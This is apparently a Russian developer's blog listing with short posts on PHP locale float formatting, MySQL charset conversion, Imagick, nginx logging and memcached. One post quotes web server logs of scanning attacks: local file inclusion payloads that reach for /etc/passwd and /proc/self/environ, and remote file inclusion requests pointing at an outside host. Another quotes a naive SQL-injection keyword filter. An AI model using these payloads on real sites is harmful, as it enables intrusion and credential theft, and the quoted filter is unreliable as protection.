Февраль 6th, 2010 in неразобранное | 1 Comment »
На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло – я вовремя нагуглил правильный ответ
Теперь собственно к делу. Вот код и ожидаемый результат его выполнения:
$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3.14
У меня же получился другой вариант, от которого я честно говоря подвис:
$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3,14
Выяснилось что результат зависит от установки локали, у меня стояло: setlocale(LC_ALL, "ru_RU.UTF8"); пока остановился на таком варианте:
PHP у меня 5.2.10, а баг сей я так понимаю тащится аж с 2002 года версии 4.3.0 RC2: Bug #17079 setlocale changes the internal representation of floats
Январь 13th, 2010 in неразобранное | No Comments »
Для начала перевести БД из cp1251 в utf8.
Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev > dump.sql – получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev > data.sql, поменять кодировку полей в схеме, вместо:
name varchar(64) character SET cp1251 NOT NULL
сделать
name varchar(64) character SET utf8 NOT NULL
или же убрать упоминание кодировки из полей вовсе:
name varchar(64) NOT NULL
так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:
ALTER DATABASE svdev DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci
и залить назад в обратном порядке – сначала структуру, затем данные.
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо – типа tiny просто вынес сначала из проекта, а затем вернул обратно: Read more »
Декабрь 29th, 2009 in неразобранное | No Comments »
Продолжаю серию забавных вещей из логов: Read more »
Декабрь 28th, 2009 in неразобранное | No Comments »
Обнаружил в логах довольно забавную картину по поиску слабых мест
client: 83.168.217.53, server: ***, request: "GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&a=resume&id=846 HTTP/1.0"
Ну и дальше вместо всех переменных пробуем подставлять:
/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00
Что самое интересное – откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.
А вот ходят по другому поводу
client: 203.237.238.234, server: ***, request: "GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"
client: 203.237.238.234, server: ***, request: "GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"
Интересно, что за сканер такой, или руками?
Декабрь 24th, 2009 in неразобранное | No Comments »
В ходе работы выяснилась неприятная вещь – в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение – ImageMagick и PHP обертка для нее Imagick.
Собственно давно уже пора переходить на её использование:
- быстрее
- возможность выбора различных фильтров при ресайзе
- ОО интерфейс
- нет необходимости заморачиваться с типами файлов – все уже сделано за нас
- эксепшены вместо ошибок
Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.
Read more »
Август 10th, 2009 in неразобранное | No Comments »
После того как не осталось Apache, то и негде посмотреть ошибки PHP привычным способом (в логах Апача); сделаем что бы nginx вел лог ошибок PHP. nginx перехватывает то, что ему пришло от php-fastcgi на stderr и пишет это в лог Read more »
Август 9th, 2009 in неразобранное | No Comments »
Встретилось в контексте защиты сайта. 2 предложенных варианта фильтрации входящих данных, один другого хлеще
1 2 3 4 5 6 7 8 9 10 11 12 13
| $post_arr=implode('.',$_POST);
$get_arr=implode('.',$_GET);
$cook_arr=implode('.',$_COOKIE);
$post_arr_key=implode('.',@array_flip($_POST));
$get_arr_key=implode('.',@array_flip($_GET));
$cook_arr_key=implode('.',@array_flip($_COOKIE));
$other_shtuki=@file_get_contents('php://input');
$cracktrack = strtolower($post_arr.$get_arr.$cook_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);
$wormprotector = array('union','select','substring','/**/'); //тут дополни по своему вкусу кейворды SQL- и PHP-инжекторов
$checkworm = str_replace($wormprotector, '*', $cracktrack);
if ($cracktrack != $checkworm)
die("");
? > ; |
С бескрайних просторов searchengines
Август 4th, 2009 in неразобранное | No Comments »
Установим все что может понадобиться для использования связки php + memcached.
Read more »